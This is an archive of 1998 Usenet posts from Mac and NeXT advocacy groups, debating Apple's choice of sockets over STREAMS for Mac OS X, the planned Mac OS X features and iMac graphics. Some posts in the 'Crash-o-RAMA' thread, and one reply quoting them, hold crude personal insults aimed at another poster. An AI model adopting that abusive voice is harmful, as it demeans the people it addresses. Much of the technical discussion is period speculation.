(which I currently own) as well as a g3 233 which I also currently own. I
have been employed using macs for several years, including as a quality
assurance engineer at APple.
I have no problem with APple taking advantage of the stupidities of
americans, not only do I actually use and like macs, but them improving
would help me employment wise, as for the last year or two it has been
shitty for a mac quality assurance engineer like myself.
And as far as their being wintel fudsters in this group, their are tons of
them, but I AM NOT ONE OF THEM. It doesnt bother me one bit that they are
here, because all they do is make the wintel herd look like idiots. Now
if a mac person is here being a idiot, and making mac people look like
idiots, then that hits closer to home. And if I get any facts wrong, feel
free to correct me, I take try to make sure whenever I make a post that
any facts are correct, and actually take the time to get the sources
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Junking STREAMS?
Date: Wed, 05 Aug 1998 23:40:40 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35C933C8.C919E752@nstar.net>
References: <35C87CFA.CEAE0167@milestonerdl.com> <nagleEx8GxM.4uz@netcom.com> <Ex8tHM.Jx5@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 6 Aug 1998 04:41:02 GMT
Maury Markowitz wrote:
> > But it doesn't matter; MacOS X is still vaporware and far enough
> > away that Apple will probably change OS direction twice before the
> > projected ship date, based on their previous behavior.
>
> Can I hold you to that? How about $100 on it?
John, take him up on this. He will lose. Eric Iverson is undoubtedly kicking
himself for failing to take up mmalcolm crawford on a similar bet regarding
Rhapsody.
MJP
From: datamagik@usa.net (Jay Riley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Junking STREAMS?
Date: Wed, 05 Aug 1998 23:02:06 -0600
Organization: DATAMAGIK € Systems, Software, & Design Engineering
Message-ID: <datamagik-0508982302060001@eccr225mac192.colorado.edu>
References: <35C87CFA.CEAE0167@milestonerdl.com> <Ex8A3s.CLL@T-FCN.Net>
In article <Ex8A3s.CLL@T-FCN.Net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> In <35C87CFA.CEAE0167@milestonerdl.com> m rassbach wrote:
> > Apple (Steve Jobs and Avie Tevanian) reportedly are rejecting Open
> > Transport's flexible, industry-standard STREAMS architecture for Mac OS
> > X, despite overwhelming developer opinion that it is the best technical
> > approach.
> >
> > Is this really happening?
>
> As far as anyone can tell, yes.
>
> > (Reminds me of Micro$oft. We can do it better than others. So much for
> > using a standard.
>
> I think you should read up on the problem a bit more. Specifically Apple
> has stated they will be using one standard, Sockets, over another, STREAMS.
> Both are "industry standards" by any definition, and have about the same
> level of use in the Unix market (STREAMS is used in more OS's, but that's
> washed out by the massive popularity of the Sockets code base in the free
> OS's).
>
> I put a LOT of time into researching this, and from what I can tell the
> plan is to use the Net/3 code from one of the 4.4FreeBSD's (free/open/net) as
> the basis of the MacOS-X networking stacks, and then to layer both a
> XTI-a-like and a sockets-a-like interface on top. I don't think this is very
> easy to make work, and I doubt it will work well at all.
>
> It *appears* (speculation here) that Apple is doing this in order to avoid
> any licencing fees. For instance it also appears that they are rolling their
> own version of the Mk7.3 kernel, rather than simply licencing the one from
> OSF. Oddly if they did licence the OSF kernel, they would get STREAMS
> included inside (as it's been there since the 6.x versions of this kernel).
>
> Maury
Okay Maury I've just glanced at the OT APIs before, but they seemed to
just be a device independent way of handling io. Why can't Apple just as
easily implement them using the "Sockets" standard? What's the hurdle?
Regards,
Jay
^ DATAMAGIK PO Box 6083 Boulder CO 80306
^ Systems, Software, and Design Engineering
^ 01+ (303)447-6555 datamagik@usa.net
From: rpeterson@msn.globaldialog.com (Ron Peterson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: why no display postscript?
Date: 6 Aug 1998 05:15:50 GMT
Message-ID: <6qbe66$fv0$1@news2.alpha.net>
References: <biggus.FILTER-3007981505130001@tele-anx0229.colorado.edu> <6pqpgk$a0n$2@news.spacelab.net> <6ps985$5c1$1@sun27.hrz.tu-darmstadt.de>
Christian Neuss (neuss.@informatik.th-darmstadt.de.nos-pam) wrote:
: If I my add my 2c worth.. another reason may be the memory footprint of
: DPS, and the fact that the printing industry is moving towards PDF. What
: I find intriguing is the possiblity of a very lightweight machine that
: runs some flavor of YB. Think Consumer Portable. Think Handheld. Think
: Apple NC (1).
: If you take into account that the NeXT stations shipped with 8 MB main
: memory, (and where highly usable for a variety of purposes), it's not all
: that farfetched.
We will probably be able to buy 8 MB of memory for less than $20.00
in a few years. :-)
: Absolutely. From what I can tell, the only thing we will lose is the
: ability to directly preview PostScript (but Frank Siegert will fix
: this in no time at all), and to use PostScript code directly in AppKit
: programming - an inconvinience, but given the alternatives, I'm still
: a happy camper.
We are also losing the ability to run applications on a remote
machine.
Ron
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: 6 Aug 1998 05:27:08 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6qberc$3lm$1@lwnws01.ne.highway1.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <joe.ragosta-0508980820070001@wil62.dol.net> <6q9l4j$773$1@lwnws01.ne.highway1.com> <joe.ragosta-0508980949010001@wil46.dol.net> <6q9qt9$cvg$1@lwnws01.ne.highway1.com> <NOamradioSPAM-0608980031190001@207-172-129-235.s235.tnt2.col.erols.com>
NOamradioSPAM@thebizlink.com (Steve) wrote:
> I've always been told people from New Hampshire were slow. Is
> THIS stereotype "manifest from something"? Your logic is astounding.
If I'm being slow, it's only so a moronic dip shit, piece of crap, monkey
turd like yourself would stand a chance of comprehending. Clearly I've
failed at being slow enough. Let's try it again before they load you on the
special bus again. On second thought I wouldn't want to take away from your
enjoyment of playing in your diapers. Diapers, you know, the thing that
collects what you use for a brain skippy.
> Strawman. No one is arguing about the edible qualities of rhino
> dung or a great manhatten cheese cake.
Strawman? Hmm, yes, I think that is an good name for you. Now if you only
had a brain. You bumblefuck turd.
--
-- Thanks, be well, take care, later, John Kheit; self expressed --
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: 6 Aug 1998 05:30:06 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6qbf0u$3lm$2@lwnws01.ne.highway1.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <joe.ragosta-0508980820070001@wil62.dol.net> <6q9l4j$773$1@lwnws01.ne.highway1.com> <NOamradioSPAM-0608980024460001@207-172-129-235.s235.tnt2.col.erols.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
NOamradioSPAM@thebizlink.com (Steve) wrote:
> You don¹t know me and my Mac doesn¹t bomb several times a day or
> a week. Your "real world" data, proves nothing.
Hey bumblefuck has a reading comprehension problem as well as liking
to play in your depends. Read it again skippy. I said:
" In real world performance, almost everyone I know that has a mac
tends to
have a system bomb several times a day. On windows95 it's several
a week, NT several a month, Unix too infrequent for any useful
stats. YMMV."
I have the distinct pleasure of you not being someone I know. I imagine your
mileage varies a great deal too; having so much shit between your ears has to
improve your gas situation.
--
-- Thanks, be well, take care, later, John Kheit; self expressed --
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy
Subject: Re: What is MacOS-X Really ?
Message-ID: <forrestDELETE-THIS!-0508982240290001@term2-13.vta.west.net>
References: <6qa5sl$4pm1@onews.collins.rockwell.com> <forrestDELETE-THIS!-0508981425340001@term4-14.vta.west.net> <6qakbf$f8f$1@news.digifix.com>
Organization: Obsidian Design / Static Dreams Interactive
Date: Wed, 05 Aug 1998 22:40:29 -0700
NNTP-Posting-Date: Wed, 05 Aug 1998 22:40:52 PDT
In article <6qakbf$f8f$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
> On 08/05/98, Forrest Cameranesi wrote:
> >In article <6qa5sl$4pm1@onews.collins.rockwell.com>,
> >embuck@palmer.cca.rockwell.com (Erik M. Buck) wrote:
> >
> >> - Looks just like MacOS-8.x
> >
> >Good Thing.
> >
> That is subjective.. ;-)
Actually, I'd like to change that statement: *almost* a good thing. It
shouldn't be *just* like OS 8, it should have improvements. But please,
not the NeXT UI. The NeXT UE (User *Experiance*) is good, nice and
consistant, but I despise the UI (actual widgets and file managers and the
like).
> >> - Will have pre-press Color support but NOT PANTONE
> >
> >Bah. ColorSynch kicks ass.
> >
>
> Not the same thing. Pantone is a good thing too. I've not
> heard that Pantone color picking will be going away.
Duely noted.
> >> - Will require disk de-fragmentation tools
> >
> >Acceptable.
> >
>
> No, its not. Although if UFS is supported and it wouldn't
> require de-frag, why would HFS+?
Ok, I'm a little confused. UFS volumes never get fragmented? I was
thinking that Erik meant the OS didn't come with defrag tools built in to
it, which is acceptable to me.
> >> - Will have a "Finder" based on Carbon APIs
> >
> >Good thing.
> >
> Why would anyone give a rats butt WHAT the Finder is written
> in? If its not extendable, we all suffer, and Carbon seems to
> indicate that.
Sorry, I didn't read that properly. I was saying it's good to have a
Finder as opposed to a Browser. But still, include a Browser.app in there
or have an "...As Browser" item in the View menu, for those who do like
it. Options, it's all about options.
> >> - Will not have man pages
> >
> >Even better - AppleGuide.
> >
> AppleGuide is dead.
The proprietary AppleGuide is, now it's AppleScripted HTML. Same effect,
so I hear.
> >> - Will not have a Dock or a Shelf
> >
> >Good thing. Finder kicks Browser's ass.
> >
> Again, a subjective thing.
Sorry again. I was getting a little agitated by this time (not by the
post, by RL things around me), and I got defensive. Include a Browser
View, including Dock and Shelf, in the Finder. Problem solved.
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
Date: Wed, 05 Aug 1998 23:15:55 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: A new winkle to the macos x flamage?
Message-ID: <stevehix-0508982315560001@ip22.safemail.com>
References: <macghod-0508981122070001@sdn-ar-001casbarp241.dialsprint.net> <6qa9ha$fje@bgtnsc03.worldnet.att.net>
Organization: Close to None
In article <6qa9ha$fje@bgtnsc03.worldnet.att.net>, DC
<dhba701@NOSPAM*worldnet.att.net> wrote:
> Steve Sullivan wrote:
> >
> > Too bad macosrumors has printed things before that have terribly hurt any
> > credibility they have, but this does make LOTS OF SENSE:
> >
> > Straight from the horse's mouth....
> >
> > This comes to us from a reader who had the opportunity to speak
> > with an Apple Rep and shares with us, in summary, information indicative
> > of what most
> > Representatives are saying to customers at present:
> > <snip>
> >
> > Mac OS X
> > Almost forgot this part. I run an 8600/200, and I asked him
> > about support for the new OS. He went, "Oh,
> > that's not a Mach 5 (Go Speedracer!). Apple will support
> > these Macs very soon after the first release of OSX.
> > Your Mac will be supported by Christmas. You have to wait,
> > but it will run." Comforting to say the least.
> >
> > Well that's about it. The G4 is slated to come out June/July
> > 99, he said July/August more likely.
>
>
> Cool! At least I don't have to worry about my nice new 9600/350!!!
> Yahoo!
Sounds like your (Mach5) 9600/350 may *not* be supported "a bit later".
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy
Subject: Re: What is MacOS-X Really ?
Message-ID: <forrestDELETE-THIS!-0508982244340001@term2-13.vta.west.net>
References: <6qa5sl$4pm1@onews.collins.rockwell.com> <forrestDELETE-THIS!-0508981425340001@term4-14.vta.west.net> <1ddbg6x.1zdi0t1bnqi8iN@rhrz-isdn3-p24.rhrz.uni-bonn.de>
Organization: Obsidian Design / Static Dreams Interactive
Date: Wed, 05 Aug 1998 22:44:34 -0700
NNTP-Posting-Date: Wed, 05 Aug 1998 22:44:55 PDT
In article <1ddbg6x.1zdi0t1bnqi8iN@rhrz-isdn3-p24.rhrz.uni-bonn.de>,
theisen@akaMail.com (Dirk Theisen) wrote:
> Hi!
>
> Forrest Cameranesi <forrestDELETE-THIS!@west.net> wrote:
> > > - Will require disk de-fragmentation tools
> >
> > Acceptable.
>
> I never required such a utility for Mac OS. Why should I for X?
That's why it's acceptable. I took Erik's statement to mean that it OS
doesn't have defrag tools built-in, not that the FS is to unstable that it
frags itself to hell. I said it's acceptable not to have them because I've
never needed them.
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: What is MacOS-X Really ?
Date: 6 Aug 1998 06:19:12 GMT
Organization: Idiom Communications
Message-ID: <6qbht0$mdf$3@news.idiom.com>
References: <6qa5sl$4pm1@onews.collins.rockwell.com> <6qb007$dbu6@odie.mcleod.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: buck.erik@mcleod.net
"Michelle L. Buck" may or may not have said:
-> When Apple runs out of long time Mac customers who want/need to upgrade
-> older Macs in order to continue using their shelves of Mac software, who
is
-> going to buy the Macs that run a severely watered down version of the best
-> OS ever ?
I've got to quibble with this. If you're going to call *any* flavor of UNIX
the "best OS ever" then you need to get out more.
NeXTStep had one of the best development environments I've ever seen, and a
beautiful user environment, but at the core OS level you have to admit that
NeXTStep was merely better than average.
Nevertheless, I agree that lobotomizing Mach 3.0/4.4 BSD to chop it down to
something that merely adds PMT, UNIX level security (which isn't very good,
to be honest), memory protection, and a few other bells and whistles would be
a stupid thing to do.
-jcr
BTW, if anyone would like an idea of how OS's *could* be, go check out the
Extremely Reliable Operating System (EROS) at
http://www.cis.upenn.edu/~eros/
--
"Although UNIX is more reliable, NT may become more reliable with time"
- Ron Redman, deputy technical director of the Fleet Introduction
Division of the Aegis Program Executive Office, US Navy.
Where is the line between mere incompetence and actual treason? -jcr
From: balazs.pataki@sztaki.hu (Balazs Pataki)
Newsgroups: comp.sys.next.advocacy
Subject: NeXTStation circuit diagrams?
Date: 6 Aug 1998 06:58:39 GMT
Organization: Computer and Automation Institute
Message-ID: <6qbk6v$4tm@lutra.sztaki.hu>
Hi,
does anyone know if it is possible to get the technical documentation,
circuit diagrams, repair instructions, etc. of the good old
NeXT[Station|Cube]?
As this hardware hasn't been manufactured for years, I think it would
reasonable from Apple to give away these documentations, so that those who
are able to could repair their NeXTs if possible. I think many of us had
problem with the power-supply, the monitor or "cold soldering" in the
motherboard SCSI connector (I had that ...). Without the proper
documentation/circuit diagrams we are blind, and could just guess what's
going on ... and there's noone repairing NeXTs anymore ...
If you have any ideas about this I would really appreciate it,
---
balazs
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Solution to Imac SUCKS for games
Date: Wed, 05 Aug 1998 23:40:27 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-0508982340280001@sdn-ar-001casbarp214.dialsprint.net>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
Yes, we all know Jobs made a slight boo boo. Commenting how games would
be included with the imac, insuiating that the imac would be good for
games, when it comes with a lousy rage II card.
Well, I think the solution is easy: Apple should start working on getting
video options for the bto system. Say at first, maybe just a vodoo card
instead of the rage II for a extra $50. I do not know exactly how its
implemented, but I take it it would take a while to get this right since
the rage 2 is part of the motherboard, thus it would take a while to
somehow get a vodoo working? Actually, come to think of it since its
part of the logic board it wouldnt really work well as a BTO option. They
should just replace the rage II with a vodoo 1.
I dont know how much a rage II card costs, but in the la times I have seen
vodoo 1 card in the fifty dollar range. Thus it would be much less for
apple to buy in bulk. So have a rev 2 of the imac, to be put out when the
price is reduced 4 or 5 months after it is released.
And in the future, apple should get a clue. Cards for the pc that kick
vodoo 2's butts are about to come out, and neither them nor even the vodoo
2 are available for the mac. Jobs needs to take his RDF gun with him and
visit some of the card makers, maybe have a agp slot on all new desktop
(as in non portable) macs, and get a some of these companies like the one
that makes the riva to make drivers available for the mac, and bundle them
with macs.
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Wed, 05 Aug 1998 23:43:59 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-0508982344010001@sdn-ar-001casbarp214.dialsprint.net>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <joe.ragosta-0508980820070001@wil62.dol.net> <6q9l4j$773$1@lwnws01.ne.highway1.com> <joe.ragosta-0508980949010001@wil46.dol.net> <6q9qt9$cvg$1@lwnws01.ne.highway1.com> <NOamradioSPAM-0608980031190001@207-172-129-235.s235.tnt2.col.erols.com> <6qberc$3lm$1@lwnws01.ne.highway1.com>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <6qberc$3lm$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> If I'm being slow, it's only so a moronic dip shit, piece of crap, monkey
> turd like yourself would stand a chance of comprehending. Clearly I've
> failed at being slow enough. Let's try it again before they load you on the
> special bus again. On second thought I wouldn't want to take away from your
> enjoyment of playing in your diapers. Diapers, you know, the thing that
> collects what you use for a brain skippy.
>
>
> > Strawman. No one is arguing about the edible qualities of rhino
> > dung or a great manhatten cheese cake.
>
> Strawman? Hmm, yes, I think that is an good name for you. Now if you only
> had a brain. You bumblefuck turd.
I sure am glad I havent offended Mr Kheit yet. I am sure after such a
flamage by him I would be in my bed crying into my pillow all night long
;-)
From: "Phil Brewster" <pjbrew@nospam.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Junking STREAMS?
Date: 6 Aug 98 01:34:55 -0600
Organization: ICGNetcom
Message-ID: <B1EEB8C2-108067@204.31.112.150>
References: <6qah44$g4n$1@server.signat.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://nntp.ix.netcom.com/comp.sys.next.advocacy
On Wed, Aug 5, 1998 2:59 PM, Maury Markowitz
<mailto:maury@remove_this.istar.ca> wrote:
>In <35c8b189.0@nnrp1.news.uk.psi.net> Richard Frith-Macdonald wrote:
>> >I thought that sockets were the standard, and that's why they are
>sticking
>> >with it. Although, and arguably, streams are technically superior, the
>net
>> >gains of using them, versus fighting the industry standard washes out
>their
>> >use. I thought that sticking with streams would be the niche market
>move.
>
>> >Maybe I have this wrong, but aren't sockets the widely used standard,
on
>unix
>> >boxes and otherwise?
>
> I didn't get John's reply because I switched servers, so I'll have to
reply
>to John here.
>
> Basically STREAMS is just as much a standard as Sockets is - period. In
>fact up until the net based distributions of the free BSD's started, it
was
>also far more popular. Currently every major commecial Unix uses them,
>including Mk7.3.
>
> Sockets is two things, the code that runs the network (more accurately
>Net/3) and an API on top. STREAMS is likewise two (well more) things, the
>DLPI and TPI drivers that run the network, and the XTI interface on top.
>
> The _current_ Mac implementation of STREAMS, OT, includes several API's
>including the XTI, their own, and "classic" MacOS shims. Under most other
>Unixen STREAMS provides two interfaces, XTI and Sockets. Yes, STREAMS
>can
>run Sockets code, that's the important thing here.
>
> If Apple were to simply use STEAMS, they could 100% emulate the current
>OT
>interfaces offered to the MacOS side of things, as well as 100% emulate
>the
>Sockets side of things to the current YB apps. However since XTI is a
>superset of sockets, the opposite is impossible - which is why their
>current
>plans seem so brainless.
>
I can only speak from the non-technical user perspective here, but if the
recent shifts in the Apple 'OS roadmap' (cue soundtrack, "The Long and
Winding Road".... <g>), which led to the decision to have 'MacOS X'
supercede 'Rhapsody', were undertaken in the name of greater backward
compatibility, then I don't understand this move to standardize on sockets
instead of STREAMS, either, all other factors being more or less equal.
IOW, why 'break' future compatibility with current STREAMS-based Mac
networking in this way, if 'forward compatibility' to YB/sockets could also
(ultimately) be maintained using STREAMS in OS X?
Is it a case of shortcuts in time to market? (If I've understood Maury's
explanations correctly, the Mach/BSD underpinnings should support either
technology, but wouldn't sockets be easier to implement from an Apple OS
engineering standpoint, as the 'native' approach that is already being used
in NeXTstep/Rhapsody 1.0, for instance?....)
I seem to recall from somewhere that one of the limitations of the original
Blue Box was a lack of connectivity to the 'outside world' when running
older Mac apps anyway, so if nothing's changed in that regard then I guess
there's not _too_ much for me to complain about as a user, but I had
envisioned the longer-term MacOS X support for Mac APIs as being better
than this. -- Was I mistaken? (Or worse, naive?.... <g>) Will the
standardization on sockets make 'Carbonizing' current Mac apps that use
networking less of a 'no-brainer' and more of a PITA, resulting in a slower
rate of updates for 'native' use on MacOS X, for instance?.... If so, then
hasn't Mr. Jobs shot the rationale for Carbon and MacOS X [vs. Rhapsody] in
several of its little toes, if not in the entire foot, re:
'Mac-developer-friendliness'?.... (And most importantly, does this mean I
won't be able to use Cyberdog under OS X anymore?.... <g>)
OTOH, maybe this will lead (as in: force?....) more developers to simply
take the plunge and adopt YB instead of relying on Carbon in the first
place..... It occurs to me (in a brief flash of Machiavellian insight....
<g>) that Apple will be needing native networking software for 'Mac OS X
Server' (formerly known as Rhapsody CR 1.0) more or less immediately, 8-12
months in advance of Carbon's availability on the version of MacOS X slated
for Q3 1999. Cutting off all paths leading back to Mac OT (even via
Carbon....) _might_ be a way of getting more sockets-based native software
for the 'server version', faster, in the interim.
Or, it might blow up in their face, as current OT-based Mac developers run
screaming away from the new platform entirely....
In any event, it would seem to be a short-sighted strategy _if_ the intent
is simply to boost support of OS X Server and its sockets-based
underpinnings as 'Rhapsody' ASAP; since if, as Maury says, STREAMS can
support sockets, but sockets cannot support STREAMS, then STREAMS would
seem better (or at least more logically....) suited to the long-term
purpose of MacOS X, which (as I understand it, anyway...) is to be both
backward- and forward-compatible to the greatest extent that is technically
feasible. It doesn't seem as if there's much difference between the current
plan, in this one regard, and the original plan for Rhapsody, in other
words, to the extent that it demands that current Mac networking developers
either make the leap to a 'brave new technology' sans life preserver or be
left in the lurch WYADAT (With Yet Another Dead Apple Technology [tm]).....
-- We return you now from this rambling non-technical interlude to the
technically-informed discussion, already in progress....
;-)
>> You might be interested in a recent STREAMS thread in the linux
>developers
>newsgroup.
>> Seems Linux will NOT be supporting streams due to inherant performance
>problems with
>> the streams architecture. Consensus there is that streams are
>technically
>inferior
>> to sockets, and the streams architecture is generally being abandoned by
>mainstream
>> unix vendors.
>
> Suppose one would expect as much from the Linux people, where speed
>always
>seems to win out over usability. STREAMS has no "inherant performance
>problems", as most implementations hard-link the modules together and
>thus
>have the same rough call performance as the BSD code. Moreover there's
>absolutely no doubt that STREAMS is technically superior, and by no means
>is
>it being adbandoned.
>
>Maury
>
>
Cheers,
--------
Phil Brewster (pjbrew at ix dot netcom dot com)
"First they ignore you, then they laugh at you, then they fight you, then
you win."
-- M. Gandhi
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Junking STREAMS?
Date: 5 Aug 98 22:13:39
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Aug5221339@slave.doubleu.com>
References: <35C87CFA.CEAE0167@milestonerdl.com> <6qa0e6$hns$1@lwnws01.ne.highway1.com>
<35c8b189.0@nnrp1.news.uk.psi.net> <6qah44$g4n$1@server.signat.org>
In-reply-to: maury@remove_this.istar.ca's message of 5 Aug 1998 20:59:48 GMT
In article <6qah44$g4n$1@server.signat.org>,
maury@remove_this.istar.ca (Maury Markowitz) writes:
In <35c8b189.0@nnrp1.news.uk.psi.net> Richard Frith-Macdonald wrote:
> >I thought that sockets were the standard, and that's why they
> >are sticking with it. Although, and arguably, streams are
> >technically superior, the net gains of using them, versus
> >fighting the industry standard washes out their use. I thought
> >that sticking with streams would be the niche market move.
> >
> >Maybe I have this wrong, but aren't sockets the widely used
> >standard, on unix boxes and otherwise?
Actually, I'd say that this is one of those things that really doesn't
make a difference. If Apple is successful, it won't make a difference
if it's STREAMS or sockets, the necessary networking drivers _will_ be
written. If they aren't successful, STREAMS won't make a difference.
The _current_ Mac implementation of STREAMS, OT, includes several
API's including the XTI, their own, and "classic" MacOS shims.
Just to keep things clean for neophytes - above, Maury precisely meant
"The _current_ MacOS implementation of STREAMS". Which is the
problem. In the underpinnings of MacOS are up for some pretty severe
shaking around, and while some stuff can float above what goes on
below, the networking code isn't one of those things.
If Apple were to simply use STEAMS, they could 100% emulate the
current OT interfaces offered to the MacOS side of things, as well
as 100% emulate the Sockets side of things to the current YB apps.
Except insofar as any bugs the implementation might have the first
three releases :-).
However since XTI is a superset of sockets, the opposite is
impossible - which is why their current plans seem so brainless.
Very solid _today_, versus very solid but technically superior a year
or more from now. What was the brainless part, again?
BTW, I fully agree that if STREAMS versus sockets were a completely
costless decision, then chosing sockets might be construed as
brainless.
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Junking STREAMS?
Date: 5 Aug 98 13:29:19
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Aug5132919@slave.doubleu.com>
References: <35C87CFA.CEAE0167@milestonerdl.com>
In-reply-to: m rassbach's message of Wed, 05 Aug 1998 10:40:42 -0500
In article <35C87CFA.CEAE0167@milestonerdl.com>,
m rassbach <mark@milestonerdl.com> writes:
Apple (Steve Jobs and Avie Tevanian) reportedly are rejecting Open
Transport's flexible, industry-standard STREAMS architecture for
Mac OS X, despite overwhelming developer opinion that it is the
best technical approach.
Is this really happening?
We've been over this in GREAT length since May.
Quite simply, they're going with the _easy_ solution right now, which
is to use the existing sockets networking in BSD. STREAMS may have
great technical arguments, but I think right now they're looking at
what's easiest to get working in the minimum amount of time on what
they have - and the Rhapsody kernel people have significantly more
time under their hats with sockets than with STREAMS.
Keep in mind that the availability of STREAMS on MacOS <X doesn't mean
much, because they'd have to port it over to a Rhapsody kernel. The
availability of STREAMS for other BSD=like systems doesn't mean much,
either, because the kernel engineers they currently have don't have
the experience.
It's not so much rejection as expediency. As people have said about
the GUI, spending too many resources on STREAMS at this late date
would be like polishing the brass on a sinking ship.
(Reminds me of Micro$oft. We can do it better than others. So
much for using a standard....and people stand around the
Mac.advocacy and wonder why Apple has a Niche status.)
a) STREAMS and sockets are _both_ standards. sockets predates STREAMS
by many years.
b) They aren't _dropping_ STREAMS and replacing it with something new
that they pulled out of their arse. This isn't a NIH problem.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Junking STREAMS?
References: <35C87CFA.CEAE0167@milestonerdl.com> <6qa0e6$hns$1@lwnws01.ne.highway1.com> <35c8b189.0@nnrp1.news.uk.psi.net> <6qah44$g4n$1@server.signat.org>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35c94141.0@nnrp1.news.uk.psi.net>
Date: 6 Aug 98 05:38:09 GMT
maury@remove_this.istar.ca (Maury Markowitz) wrote:
>In <35c8b189.0@nnrp1.news.uk.psi.net> Richard Frith-Macdonald wrote:
>> You might be interested in a recent STREAMS thread in the linux developers
>newsgroup.
>> Seems Linux will NOT be supporting streams due to inherant performance
>problems with
>> the streams architecture. Consensus there is that streams are technically
>inferior
>> to sockets, and the streams architecture is generally being abandoned by
>mainstream
>> unix vendors.
>
> Suppose one would expect as much from the Linux people, where speed always
>seems to win out over usability. STREAMS has no "inherant performance
>problems", as most implementations hard-link the modules together and thus
>have the same rough call performance as the BSD code.
They claim that with modern network performance, hard-linking modules together is
not nearly good enough - the modules actually have to interact so intimately that
they become a single module - at which point you have negated the whole point of
a the streams model anyway.
>Moreover there's
>absolutely no doubt that STREAMS is technically superior,
